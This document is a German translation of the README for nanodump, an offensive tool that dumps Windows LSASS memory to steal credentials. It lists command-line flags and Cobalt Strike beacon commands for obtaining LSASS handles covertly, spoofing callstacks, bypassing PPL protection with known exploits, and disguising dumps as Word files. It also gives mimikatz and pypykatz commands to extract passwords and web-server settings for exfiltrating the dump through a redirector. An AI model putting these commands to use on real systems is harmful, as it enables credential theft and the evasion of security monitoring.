
Das Schweizer Taschenmesser des LSASS-Dumpings
Ein flexibles Tool, das einen Minidump des LSASS-Prozesses erstellt.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
Unter Linux mit MinGW
make -f Makefile.mingw
Unter Windows mit MSVC (keine BOF-Unterstützung)
nmake -f Makefile.msvc
Importieren Sie das Skript NanoDump.cna in Cobalt Strike.
Führen Sie den Befehl nanodump in der Beacon-Konsole oder die Binärdatei nanodump.x64.exe aus.
Wenn Sie das Flag --valid nicht angegeben haben, müssen Sie die ungültige Signatur wiederherstellen.
scripts/restore_signature <dumpfile>
mimikatz:
Um die Geheimnisse abzurufen, führen Sie einfach Folgendes aus:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Wenn Sie lieber unter Linux bleiben möchten, können Sie den Python3-Port von mimikatz namens pypykatz verwenden:
python3 -m pypykatz lsa minidump <dumpfie>
Um zu vermeiden, einen Handle zu LSASS mit PROCESS_VM_READ zu öffnen, können Sie den Parameter --fork verwenden.
Dies veranlasst nanodump, einen Handle zu LSASS mit PROCESS_CREATE_PROCESS-Zugriff zu erstellen und dann einen 'Klon' des Prozesses zu erzeugen. Dieser neue Prozess wird dann gedumpt. Dies führt zwar zur Erstellung und Löschung eines Prozesses, vermeidet jedoch das direkte Lesen von LSASS.
Ähnlich wie die Option --fork können Sie --snapshot verwenden, um einen Snapshot des LSASS-Prozesses zu erstellen.
Dies veranlasst nanodump, einen Handle zu LSASS mit PROCESS_CREATE_PROCESS-Zugriff zu erstellen und dann einen Snapshot des Prozesses mit PssNtCaptureSnapshot zu erzeugen. Dieser neue Prozess wird dann gedumpt. Der Snapshot wird nach Abschluss automatisch freigegeben.
Da das Öffnen eines Handles zu LSASS erkannt werden kann, kann nanodump stattdessen nach vorhandenen Handles zu LSASS suchen.
Wenn einer gefunden wird, wird er kopiert und zum Erstellen des Minidumps verwendet.
Beachten Sie, dass ein solcher Handle nicht garantiert gefunden wird.
Sie können einen Handle zu LSASS mit PROCESS_QUERY_LIMITED_INFORMATION erhalten, der wahrscheinlich auf der Whitelist steht, und diesen Handle dann durch Duplizieren erhöhen.
Um das Öffnen eines Handles zu LSASS zu vermeiden, können Sie den Seclogon-Dienst missbrauchen, indem Sie CreateProcessWithLogonW aufrufen, um einen LSASS-Handle in die nanodump-Binärdatei zu leaken.
Um diese Funktion zu aktivieren, verwenden Sie den Parameter --seclogon-leak-local.
Beachten Sie, dass bei Verwendung von Cobalt Strike eine unsignierte nanodump-Binärdatei auf die Festplatte geschrieben werden muss, um diese Funktion zu nutzen.
Diese Technik ist der vorherigen sehr ähnlich, aber anstatt den Handle in nanodump zu leaken, wird er in eine andere Binärdatei geleakt und dann dupliziert, sodass nanodump ihn verwenden kann.
Verwenden Sie das Flag --seclogon-leak-remote, um auf diese Funktion zuzugreifen.
Sie können den Seclogon-Prozess dazu verleiten, einen Handle zu LSASS zu öffnen und zu duplizieren, bevor er geschlossen wird, indem Sie durch Dateisperren eine Race Condition gewinnen.
Verwenden Sie das Flag --seclogon-duplicate, um auf diese Funktion zuzugreifen.
Sie können nanodump als SSP in LSASS laden, um das Öffnen eines Handles zu vermeiden.
Wenn die DLL in LSASS geladen wurde, werden die Parameter über eine Named Pipe übergeben, und sobald der Dump abgeschlossen ist, gibt DllMain FALSE zurück, damit LSASS die nanodump-DLL entlädt.
Sie können die Parameter in die DLL hartkodieren und die Named Pipe vollständig vermeiden, indem Sie das Compiler-Flag PASS_PARAMS_VIA_NAMED_PIPES=0 verwenden.
Standardmäßig wird eine unsignierte nanodump-DLL in den Temp-Ordner hochgeladen, der automatisch gelöscht wird.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Wenn Sie eine bereits vorhandene DLL laden möchten, können Sie Folgendes ausführen:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Beachten Sie, dass diese Sicherheitslücke im Juli-2022-Update-Pack behoben wurde (Windows 10 21H2 Build 19044.1826)
Um auf diese Funktion zuzugreifen, verwenden Sie den Befehl nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
Um auf diese Funktion zuzugreifen, verwenden Sie den Befehl nanodump_ppl_medic
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
Da der Dump nicht von nanodump erstellt wird, hat er immer eine gültige Signatur.
Um die Silent Process Exit-Technik zu nutzen, verwenden Sie den Parameter --silent-process-exit und den Pfad, in dem der Dump erstellt werden soll.
beacon> nanodump --silent-process-exit C:\Windows\Temp\
Es wird auch ein Dump des nanodump-Prozesses erstellt, etwa wie folgt:
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
Sie können auch die Shtinkering-Technik verwenden, die erfordert, dass nanodump unter SYSTEM läuft:
beacon> nanodump --shtinkering
Der Dump wird typischerweise unter C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps erstellt.
Sie können einen Handle zu LSASS mit einem gefälschten Callstack öffnen, um den Funktionsaufruf etwas legitimer erscheinen zu lassen (insbesondere wenn als BOF ausgeführt).
Um auf diese Funktion zuzugreifen, verwenden Sie den Parameter --spoof-callstack.
Sie können viele Techniken kombinieren, um die Arbeitsweise von nanodump anzupassen.
Die folgende Tabelle zeigt, welche Flags zusammen verwendet werden können.
LSASS indirekt auslesen, indem ein Fork erstellt und der Dump mit ungültiger Signatur auf die Festplatte geschrieben wird:
beacon> nanodump --fork --write C:\lsass.dmp
Den Seclogon-Leak-Remote verwenden, um einen LSASS-Handle in einen Notepad-Prozess zu leaken, diesen Handle duplizieren, um Zugriff auf LSASS zu erhalten, dann indirekt durch Erstellen eines Forks lesen und den Dump mit gültiger Signatur herunterladen:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
Einen Handle mit Seclogon-Leak-Local abrufen, LSASS indirekt mit einem Fork auslesen und den Dump mit gültiger Signatur auf die Festplatte schreiben (eine nanodump-Binärdatei wird hochgeladen!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
Den Dump mit ungültiger Signatur herunterladen (Standard):
beacon> nanodump
Einen vorhandenen Handle duplizieren und den Dump mit ungültiger Signatur auf die Festplatte schreiben:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
Die PID von LSASS abrufen:
beacon> nanodump --getpid
Nanodump als SSP in LSASS laden (eine nanodump-Binärdatei wird hochgeladen!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
LSASS dumpen, indem PPL mit dem PPLDump-Exploit umgangen wird, wobei der Handle, den csrss.exe auf LSASS hat, dupliziert wird:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
LSASS dumpen, indem PPL mit dem PPLMedic-Exploit umgangen wird, wobei ein Handle mit niedrigen Berechtigungen zu LSASS geöffnet und dann erhöht wird:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
Seclogon dazu verleiten, einen Handle zu LSASS zu öffnen und zu duplizieren, dann den Dump mit ungültiger Signatur herunterladen:
beacon> nanodump --seclogon-duplicate
Den WerFault.exe-Prozess zwingen, einen vollständigen Speicherabbild im Temp-Ordner zu erstellen:
beacon> nanodump --werfault C:\Windows\Temp\
Einen Handle zu LSASS mit gefälschtem Callstack öffnen und den Minidump mit ungültiger Signatur herunterladen:
beacon> nanodump --spoof-callstack
Die Shtinkering-Technik verwenden:
beacon> nanodump --shtinkering
Einen Handle mit Seclogon-Leak-Local abrufen und den Dump mit der Shtinkering-Technik erstellen:
beacon> nanodump --seclogon-leak-local --shtinkering
Einen Handle mit niedrigen Berechtigungen abrufen und mit elevate handle erhöhen:
beacon> nanodump --elevate-handle
Einen Handle mit niedrigen Berechtigungen durch einen gefälschten Callstack abrufen und mit elevate handle erhöhen:
beacon> nanodump --elevate-handle --spoof-callstack
Einen vorhandenen Handle mit niedrigen Berechtigungen duplizieren und mit elevate handle erhöhen:
beacon> nanodump --duplicate-elevate
Wenn Sie einen HTTPS-Redirector verwenden (was Sie tun sollten), könnten Sie Probleme beim dateilosen Herunterladen des Dumps aufgrund der Größe der Anfragen haben, die den Dump leaken.
Erhöhen Sie die maximale Größe von Anfragen auf Ihrem Webserver, damit nanodump den Dump herunterladen kann.
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>
| --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |
|---|
| --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --elevate-handle | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --duplicate-elevate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-local | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-remote | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --spoof-callstack | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --silent-process-exit | ✓ | |||||||||||||||
| --shtinkering | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| SSP | ✓ | |||||||||||||||
| PPL_DUMP | ✓ | ✓ | ✓ | ✓ | ||||||||||||
| PPL_MEDIC | ✓ | ✓ | ✓ | ✓ |